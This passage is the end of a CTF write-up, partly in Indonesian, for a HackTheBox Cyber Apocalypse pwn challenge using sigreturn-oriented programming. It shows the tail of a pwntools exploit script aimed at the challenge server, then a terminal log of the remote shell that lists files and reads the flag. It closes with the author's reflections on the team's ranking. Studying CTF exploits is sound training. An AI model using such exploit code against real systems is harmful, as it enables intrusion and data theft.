io.sendline(p)
io.sendline(b"C"*65) # 59 + 6
io.interactive()
if __name__ == "__main__":
if len(sys.argv) > 1 and sys.argv[1]=="r":
REMOTE = True
io = remote("138.68.182.108", 30496)
else:
LOCAL = True
io = process([TARGET,])
exploit(io)
sys.exit(0)
Exploit:
phobos@PH0bo5:~/Documents/ctf/cyberApocalypse-HackTheBox/pwn/03System_dROP_SOLVED$ python3 solve.py r
[*] '/home/phobos/Documents/ctf/cyberApocalypse-HackTheBox/pwn/03System_dROP_SOLVED/system_drop'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Opening connection to 138.68.182.108 on port 30496: Done
Fire GDB
[*] Switching to interactive mode
$ ls
flag.txt system_drop
$ cat flag.txt
CHTB{n0_0utput_n0_pr0bl3m_w1th_sr0p}
$
FLAG : CHTB{n0_0utput_n0_pr0bl3m_w1th_sr0p}
Tim kami berada di peringkat 298 pada akhir kompetisi. Tentu saja, bukan hasil yang memuaskan dan harus banyak belajar lagi. Mengingat, penulis sendiri hanya bisa mengerjakan 3 dari 5 soal PWN yang diberikan. Tetapi penulis tetap bersyukur, karena bisa menyelesaikan challenge yang jenis soalnya belum pernah penulis kerjakan / temukan.
Maaf jika ada kata-kata atau langkah-langkah yang sulit/tidak bisa dipahami.
InsyaAllah ngepost lagi.